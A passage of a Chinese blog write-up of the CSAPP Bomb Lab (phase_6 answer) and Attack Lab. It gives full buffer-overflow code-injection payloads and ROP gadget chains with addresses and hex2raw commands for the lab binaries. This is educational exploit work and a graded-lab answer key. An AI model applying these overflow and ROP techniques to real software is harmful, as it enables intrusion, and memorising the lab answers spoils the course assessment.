12)如果以上都做完,跳转到8048fd7 <phase_6+0xc5>(677行)继续。

13)640行:将0赋值给8(%edx)指向的地址,此时edx为node1的地址,即将node1.next=0;

14)显然,以上步骤,根据num的值重新构成了一个链表,此时的链接关系变成了:

node6 --> node5 --> node4 --> node3 --> node2 --> node1 --> 0。(注:以上分析均是基于6个num的值为6/5/4/3/2/1

24、641 - 行:

1)641行:5 --> esi

2)642行:将ebx+8这个地址的内容送给eax,注意, ebx为node6的地址,ebx+8为node6->next这个值的地址,这个地址的内容即为node5的地址。也即eax的内容为node5的地址。

3)643行:将eax指向的地址的内容赋值为eax,也即eax的内容为node5.d1

4)644行:将node5.d1与ebx指向的地址的内容相比较;(显然,此处是整数的比较,因此,也可以判断struct node中第一个元素应该是int),此时ebx的内容为node6的地址,node6的地址的内容为node6.d1,即node5.d1与node6.d1相比较。

5)645-646行:如果node6.d1 >= node5.d1,则跳转到8048f46 <phase_6+0xc5>,否则引爆炸弹

6)647行:ebx的内容变为其指向的节点的next,即ebx=node6-next,指向了node5

7)648行:esi-= 1

8)649行:如果esi不为0,则跳转到642行,按以上的2)继续分析,应注意,此处ebx的值为node5的地址了。

9)显然,此时会判断node5.d1是否大于等于node4.d1,如果是,则继续,如果不是,则引爆炸弹

10)后续会依次判断node4.d1是否大于等于node3.d1,node3.d1是否大于等于node2.d1,…,综合起来,就是判断按照num值排序之后的节点是否降序排列,如果是,则解题成功,如果不是,则引爆炸弹。

根据以上分析,phase_6的功能:

1)phase_6定义了一个包含6个节点的链表,每个节点中包含两个整型(d1,d2),以及指向下一个节点的指针;6个节点依次的链接顺序为node1->node2->node3->node4->node5->node6

2)要求用户输入6个数,这6个数应为1~6,而且不能重;为便于以后说明,假设这6个数为6/5/4/3/2/1。

3)按照num[i]的值重新排列链表,此时链表变为:

node6->node5->node4->node3->node2->node1

4)判断以上链表是否降序排列(按分量d1),如果是,则拆弹成功,否则,引爆炸弹。

也即phase_6会给出一个链表,链表中的节点的d1分量含有一个整数值,需要用户输入一个序列号,按照这个顺序重新排列链表中的节点,如果链表是按照降序排列,则输入的这个序列号是正确的。

对于前面的炸弹,其初始化的节点值为:

node1 = {0x6d, 0x01, 0x804c180}; (&node1 = 0x804c174)

node2 = {0x69, 0x02, 0x804c18c }; (&node2 = 0x804c180)

node3 = {0x3b2, 0x03, 0x804c198}; (&node3 = 0x804c18c)

node4 = {0x299, 0x04, 0x804c1a4}; (&node4 = 0x804c198)

node5 = {0xc7, 0x05, 0x804c1b0}; (&node5 = 0x804c1a4)

node6 = {0x285b, 0x06, 0}; (&node6 = 0x804c1b0)

显然,使得这个链表按降序排列的序列是:3 4 6 5 1 2,因此,输入的序列号应为:3 4 6 5 1 2,此即为本关答案。

Secret_phase

上课提示有一个隐藏关,并且在phase_defused中,作为一种锻炼,我们还是继续深入看看

  • Phase_defuse栈帧

1.这是调用sscanf函数前的栈帧情况:

img

2.这是调用strings_not_equal前的栈帧

img

3.这是调用secret_phase前的栈帧

img

Lab3 ATTACK Lab

准备

实验的下载地址如下

http://csapp.cs.cmu.edu/3e/labs.html

说明文档如下

http://csapp.cs.cmu.edu/3e/attacklab.pdf

img

题解

第一部分:代码注入攻击

level-1

输入,随便输入一些东西 测试一下程序


./ctarget -q

image-20220219225232587

假如在可执行文件CTARGET中,有一个负责读取键盘输入,并将数据存入到栈帧空间的函数getbuf:


1 unsigned getbuf()
2 {
3 char buf[BUFFER_SIZE];
4 Gets(buf);
5 return 1;
6 }

该函数被test函数调用:


1 void test()
2 {
3 int val;
4 val = getbuf();
5 printf("No exploit. Getbuf returned 0x%x\n", val);
6 }

本题要求输入一段字符串,覆盖掉getbuf的返回函数地址,使得getbuf返回到另一个函数touch1去:


1 void touch1()
2 {
3 vlevel = 1; /* Part of validation protocol */
4 printf("Touch1!: You called touch1()\n");
5 validate(1);
6 exit(0);
7 }

首先,需要注意的是,程序里的数据、地址按照小端法的方式保存,也就是说对于地址0x4017ef,在栈帧中的保存方式是(地址由小到大):ef 17 40 00 00 00 00 00。嗯,是64位地址,别搞错了。

我们想要用输入数据覆盖掉getbuf的返回地址,并且让getbuf跳转到touch1函数去,那么我们必须需要知道

  1. getbuf的输入缓存大小。
  2. getbuf的栈帧大小,以此确定存放getbuf返回函数地址的栈帧区域。
  3. touch1函数的入口地址。

那么,首先反汇编得到ctarget的汇编代码:

objdump -d ctarget > ctargetCode.txt

分析汇编代码,我们可以得知touch1的入口地址是0x4017c0


00000000004017c0 <touch1>:
  4017c0:	48 83 ec 08          	sub    $0x8,%rsp

接着分析getbuf代码,发现getbuf一共申请了0x28(十进制40)个字节来保存输入数据。


00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	callq  401a40 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	retq  
一种可行的方法:

再分析调用getbuf的test函数,发现test的返回地址保存在属于getbuf栈帧的上面8个字节处:


0000000000401968 <test>:
  401968:	48 83 ec 08          	sub    $0x8,%rsp
  40196c:	b8 00 00 00 00       	mov    $0x0,%eax
  401971:	e8 32 fe ff ff       	callq  4017a8 <getbuf>

很显然,假设当前栈顶rsp在getbuf处,那么rsprsp+0x27是保存输入数据,rsp+0x280x+2f保存getbuf的返回地址。剩下的很简单,我们输入48个字节,并且最后8个字节是touch1的入口地址即可,这里为了简单起见,我的前40个字节都是00:


00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
C0 17 40 00 00 00 00 00

将上述字节码保存文件touch1.txt处,输入命令即可pass第一个任务:


./hex2raw < touch1.txt | ./ctarget -q

image-20220219225358007

level-2

和level1类似,覆盖函数返回地址,使得getbuf函数完成后跳转到touch2函数。不同的是,这一次需要带上参数。

  1. 参数是保存在%rdi处
  2. 使用ret跳转代码。因为ret是绝对地址跳转,而jmp和callq是相对地址跳转,对于注入代码来说,相对地址不好计算,绝对地址方便很多。

那么首先我们思考一下,在getbuf之后代码应该跳转到哪里?=>跳转到我们的注入代码处。
  我们的注入代码在哪里?=>在getbuf申请的rsp栈帧里。
  此时rsprsp+0x27存放输入数据(注入代码),rsp+0x28rsp+0x2f存放跳转地址。
  现在问题转化为寻找当前rsp的值。
  打开gdb,在getbuf这里设置断点。然后通过print $rsp查看栈顶值。
  我的rsp是$5561dc78。

我们的思路是,将getbuf的返回函数地址修改为注入代码处的地址,也就是存放读入数据的栈顶位置,然后执行参数赋值、修改函数返回值的操作,最后ret带着参数跳转到touch2处。

剩下的就好办了,新建inject.s文件,文件内容是:


mov $0x59b997fa, %rdi
push $0x4017ec
ret

使用先编译后反汇编得到二进制代码。


gcc -c inject.s

Objdump -d inject.o

反汇编内容如下:


inject.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 c7 c7 fa 97 b9 59 	mov    $0x59b997fa,%rdi
   7:	68 ec 17 40 00       	pushq  $0x4017ec
   c:	c3                   	retq

得到注入代码的字节码后,将其保存到touch2.txt,文件内容是:


48 c7 c7 fa 97 b9 59 68 ec 17
40 00 c3 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
78 dc 61 55 00 00 00 00

最后输入指令即可pass第二个问题。


./hex2raw < touch2.txt | ./ctarget -q

image-20220219225524039

事实上,不一定是跳转到当前栈顶,可以跳转到rsp~rsp+0x1b处。 可以用倒推法,rsprsp+0x27是输入数据,rsp+0x28之后是函数返回地址,需要嵌入注入代码的地址。而当执行getbuf的ret时,栈顶指向rsp+0x28处。(这里的rsp指代读入数据时的栈顶位置)因为我们的注入代码通过pushq将touch2的地址嵌入到栈帧里,而ret之后,栈顶指针+8变成了rsp+30,减去压人的touch2的8位地址,剩下还有0x28个可用字节。而注入代码占13个字节,所以在rsprsp+0x1b任意一处注入代码都是可行的(跳转代码需要适时调整)。不过为了方便起见,显然直接在输入数据的rsp处注入代码是最好的。
  这一段说的有点乱,大家意会一下就好。

level-3

已知在touch3内部调用了hexmatch函数,两个函数的具体定义如下:
hexmatch:


1 /* Compare string to hex represention of unsigned value */
2 int hexmatch(unsigned val, char *sval)
3 {
4 char cbuf[110];
5 /* Make position of check string unpredictable */
6 char *s = cbuf + random() % 100;
7 sprintf(s, "%.8x", val);
8 return strncmp(sval, s, 9) == 0;
9 }

touch3:


10
11 void touch3(char *sval)
12 {
13 vlevel = 3; /* Part of validation protocol */
14 if (hexmatch(cookie, sval)) {
15 printf("Touch3!: You called touch3(\"%s\")\n", sval);
16 validate(3);
17 } else {
18 printf("Misfire: You called touch3(\"%s\")\n", sval);
19 fail(3);
20 }
21 exit(0);
22 }

要求与level2类似,都是需要将getbuf的返回地址覆盖为touch3的返回地址,并且附带参数。不同的是,这次需要输入自己cookie值的8位ascii编码值,并且将编码值的地址作为参数传入touch3中。

  1. 在linux下输入”man ascii”可以看到ascii编码表。
  2. 字符串后面要加上终止符结尾。
  3. 需要将字符串的地址传到%rdi作为touch3的参数。
  4. 当调用hexmatch和strncmp时,栈帧内容可能会被这两个函数的变量覆盖。换句话说,如果把编码值放在getbuf的栈帧内,就有可能(一定会)会被其他函数的值覆盖掉。

仔细观察hexmatch函数,由于下面这行代码的存在,hexmatch可能会分配110个字节的空间,而这110个字节是在栈上分配的!也就是说getbuf的输入内容很可能会被覆盖。那么我们应该把cookie字符串放哪里好呢?一个自然的想法是放在当前rsp栈帧的很后面,保证不会被后面函数申请的栈帧覆盖,然而这很难;第二种选择就是往上覆盖之前函数的栈帧,这样一来地址就确定了,而且不怕被后来的函数覆盖。


char *s = cbuf + random() % 100;

那么接下来就很简单了,生成下面代码的字节码,然后在rsp+0x28处写上touch3的函数地址,在rsp+0x30处写上cookie的16进制表示的ascii值。因为rsp+0x30属于test函数,把字符串放这里不用怕被后面的函数覆盖掉,因为test函数一直没有返回,所以其申请的栈帧一直有效。


mov $0x5561dca8, %rdi
pushq $0x4018fa
ret

最后得到输入的字节码:


48 c7 c7 a8 dc 61 55 68 fa 18 
40 00 c3 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
78 dc 61 55 00 00 00 00 
35 39 62 39 39 37 66 61 00

image-20220219225553721

Rtarget-level-1

Rtarget的程序加入了以下两项保护措施,无法像ctarget一样直接定位栈帧位置。

  • 栈随即初始化,每次运行栈地址都不确定,不能再像上面一样,通过修改固定栈位置的值来改变函数跳转的地址。
  • 栈内部的代码不允许执行。

问题描述

和Ctarget-level-2的问题一样,覆盖getbuf的返回地址跳转到touch2处,并且输入自己的cookie值作为touch2的函数参数。不同的是,这里要求使用ROP方式。

因为这里使用了栈随机化,程序每次运行的栈位置都不一样,不想用ROP也不行。

解决思路

首先反汇编rtarget,并且找到start_farm至end_farm处的代码(节选):


00000000004019a0 <addval_273>:
  4019a0:	8d 87 48 89 c7 c3    	lea    -0x3c3876b8(%rdi),%eax
  4019a6:	c3                   	retq

可以发现,地址0x4019a2处开始48 89 c7 c3恰好构成一条gadget,并且是mov %rax, %rdi。而%rdi正是我们传进touch2的参数。

剩下的有两件事:

  • 第一,将cookie值赋值给%rax。
  • 第二,跳转到touch2函数。

然后我们接着找,看看有没有含有cookie值的字节码。

显然找不到!

对于寄存器间的操作,能找到是正常的。但是对于数字间的赋值操作,找不到也是正常的,因为我们想赋值的数字千变万化,匹配不到很正常。所以对于赋值语句,我们要转换一下思路,不能使用mov语句来赋值,而应该使用别的,不是立即数形式的赋值语句,并且最好还和栈帧有关,因为我们只能在栈帧注入代码,换言之,我们所想要赋的值就保存在栈帧里。

仔细遍历一下指令集,发现popq正好满足我们的要求!popq是将当前rsp的值赋值给某个寄存器,然后rsp+8。

那么就好办了,我们将cookie值注入栈帧中,先是popq给某个寄存器,然后再通过ret跳转到mouv %rax,%rdi语句,然后再通过ret跳转到touch2函数。


00000000004019a7 <addval_219>:
  4019a7:	8d 87 51 73 58 90    	lea    -0x6fa78caf(%rdi),%eax
  4019ad:	c3                   	retq

仔细观察代码,发现在0x4019ab有一个gadget,且58是popq %rax,90是nop占位指令,恰好满足我们的要求。

所以栈帧顺序是这样的:

  1. 记录getbuf返回地址的rsp值应该是0x4019ab,用于跳转到popq %rax指令,跳转后rsp+8的值就是popq的值,也即是cookie值。
  2. 在完成popq操作后,rsp再度加8变成rsp+0x10,此时ret返回应该是跳转到mov %rax,%rdi处,所以rsp+16是0x4019a2。
  3. 执行完赋值语句后,程序应该通过ret跳转到touch2函数,所以rsp+0x18处存放到应该是touch2的程序入口地址。

Attack-rl2

代码如下:


00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
ab 19 40 00 00 00 00 00    popq
fa 97 b9 59 00 00 00 00    cookie
a3 19 40 00 00 00 00 00    mov
ec 17 40 00 00 00 00 00    touch2

image-20220223232743038

Rtarget-level-3

问题描述

和ctarget-level-3一样,只不过这次用ROP攻击方式。

解决思路

这题咋一看挺简单的,因为从level2我们就知道了用popq弹出栈帧内容并且赋值给rdi的方法。然而真正处理的时候才发现坑很大。

首先,level3要输入的是字符串的地址,并且这个字符串是9位的!!不是8位的。这时候查表,我们可以找到将rsp赋值给rax的字节码。

然而问题来了,将rsp赋值给rax后,rsp的内容并没有改变,此时ret返回的地址是rsp当前的值,也就是作为touch3参数的cookie值。而接下来ret将会以cookie值作为程序地址跳转,这显然是不行的。

于是我们思考,能不能找到一个语句,在将rsp的内容赋值给rax之后,对rsp的值进行更改?确实有,那就是popq。所以我们的目标是,找到一句rsp赋值语句后接pop的字节码。

然而找不到。此路不通。嗯,接下来,想到秃头也没想到怎么办才好,那就只能谷歌了。

仔细观察代码,发现有一句:


00000000004019d6 <add_xy>:
  4019d6:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax
  4019da:	c3                   	retq

这就是破局的关键。我们只需要将cookie放在栈帧的最上方,然后计算出一个基址和偏移值,并将基址和偏移值分别赋值给rdi和rsi就能得到cookie的地址,并且将这个地址传递给rax,然后传递给rdi,大功告成。

剩下的问题是,如何赋值给rsi。
  查表,没想到这个也要绕路。
  先是查到有mov %ecx,%esi,嗯找什么可以赋值给ecx,
  然后查到有mov %edx, %ecs,嗯找什么可以复制给edx,
  最后查到有mov %eax, %edx,嗯搞定了。

Attack-rl3

最后梳理一下:

  1. 首先将rsp的基址传给rdi,可以将rsp传递给rax再传递给rdi。
  2. 然后通过pop得到偏移值,再将偏移值七绕八拐传递给rsi。
  3. 最后跳转到touch3处,搞定。

输入字节码如下:


00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
06 1a 40 00 00 00 00 00
a2 19 40 00 00 00 00 00 
cc 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
70 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61 00

image-20220223232802738

  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: 深入理解计算机系统(CSAPP)是由Randal E. Bryant和David R. O'Hallaron编写的经典计算机科学教材。该教材通过涵盖计算机体系结构、机器级别表示和程序执行的概念,帮助学生深入理解计算机系统的底层工作原理和运行机制。 深入理解计算机系统的练习题对于学生巩固并应用所学知识非常有帮助。这些练习题涵盖了计算机硬件、操作系统和编译器等多个领域,旨在培养学生解决实际问题和设计高性能软件的能力。 对于深入理解计算机系统的练习题,关键是通过实践进行学习。在解答练习题时,应根据课本提供的相关知识和工具,仔细阅读问题描述,并根据实际需求设计相应的解决方案。 在解答练习题时,需要多角度思考问题。首先,应准确理解题目要求,并设计合适的算法或代码来解决问题。其次,应考虑代码的正确性和效率,以及对系统性能的影响。此外,还要注意处理一些特殊情况和异常情况,避免出现潜在的错误或安全漏洞。 解答练习题的过程中,应注重查阅相关资料和参考优秀的解答。这可以帮助我们扩展对问题的理解,并学习他人的思路和解决方法。同时,还可以通过与同学和老师的讨论,共同探讨问题和学习经验。 总之,通过解答深入理解计算机系统的练习题,可以帮助学生巩固所学知识,同时培养解决实际问题和设计高性能软件的能力。这是一个学以致用的过程,可以加深对计算机系统运行机制和底层工作原理的理解。 ### 回答2: 理解计算机系统(CSAPP)是一本经典的计算机科学教材,通过深入研究计算机系统的各个方面,包括硬件、操作系统和编程环境,对于提高计算机科学专业知识与能力具有很大帮助。 练习题是CSAPP中的重要部分,通过练习题的完成,可以加深对计算机系统的理解,并将理论知识转化为实践能力。练习题的数量、难度逐渐递增,从简单的概念与基础问题到复杂的系统设计与实现。 在解答练习题时,首先需要对题目进行仔细阅读和理解,明确题目的要求和限制条件。然后,可以利用课堂讲解、教材内容、网络资源等进行查阅和学习相应的知识。同时,还可以参考课后习题解答等资料,了解一些常见的解题方法和思路。 在解答练习题时,可以利用计算机系统的工具和环境进行实际测试和验证。例如,可以使用调试器、编译器和模拟器等工具对程序或系统进行分析和测试。这样可以更加深入地理解问题的本质,并找到恰当的解决方法。 另外,解答练习题时还可以与同学、教师和网上社区进行交流和讨论。这样可以互相学习和交流解题思路,共同解决问题。还可以了解不同的解题方法和技巧,提高解题效率和质量。 练习题的解答过程可能会遇到一些困难和挑战,例如理论知识的不足、复杂问题的分析与解决。但是通过不断地思考和实践,相信可以逐渐提高解题能力,更好地理解计算机系统。 总之,深入理解计算机系统(CSAPP)练习题是提高计算机科学专业知识和能力的重要途径。通过仔细阅读和理解题目,查阅相关知识,利用计算机系统工具和环境进行实践,与他人进行交流和讨论,相信可以更好地理解计算机系统的各个方面,并将知识转化为实际能力。 ### 回答3: 《深入理解计算机系统(CSAPP)》是计算机科学领域的经典教材之一,对于深入理解计算机系统的原理、设计和实现起到了极大的帮助。在阅读这本书的过程中,书中的习题也是非常重要的一部分,通过做习题,我们可以更好地理解书中所讲的概念和思想。 CSAPP的习题涵盖了课本中各个章节的内容,从基础的数据表示和处理、程序的机器级表示、优化技术、程序的并发与并行等方面进行了深入探讨。通过解答习题,我们可以对这些知识进行实践应用,巩固自己的理解,并培养自己的解决问题的思维方式。 在解答习题时,我们需要充分理解题目要求和条件,并从知识的角度进行分析。有些习题可能需要进行一些编程实践,我们可以通过编程实现来验证和测试我们的思路和解决方案。在解答问题时,我们还可以查阅一些参考资料和网上资源,充分利用互联网的学习资源。 在解答习题时,我们需要保持积极的思维和态度。可能会遇到一些困难和挑战,但是通过坚持和努力,我们可以克服这些困难,提高我们的解决问题的能力。同时,我们还可以通过与同学或者其他人进行讨论,相互分享解题经验和思路,从而更好地理解问题。 综上所述,通过深入理解计算机系统(CSAPP)的习题,我们可以进一步巩固和深化对计算机系统的理解。掌握这些知识,不仅可以提高我们在计算机领域的能力,还可以为我们未来的学习和职业发展奠定重要的基础。因此,认真对待CSAPP的习题,是我们在学习计算机系统知识中不可或缺的一部分。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值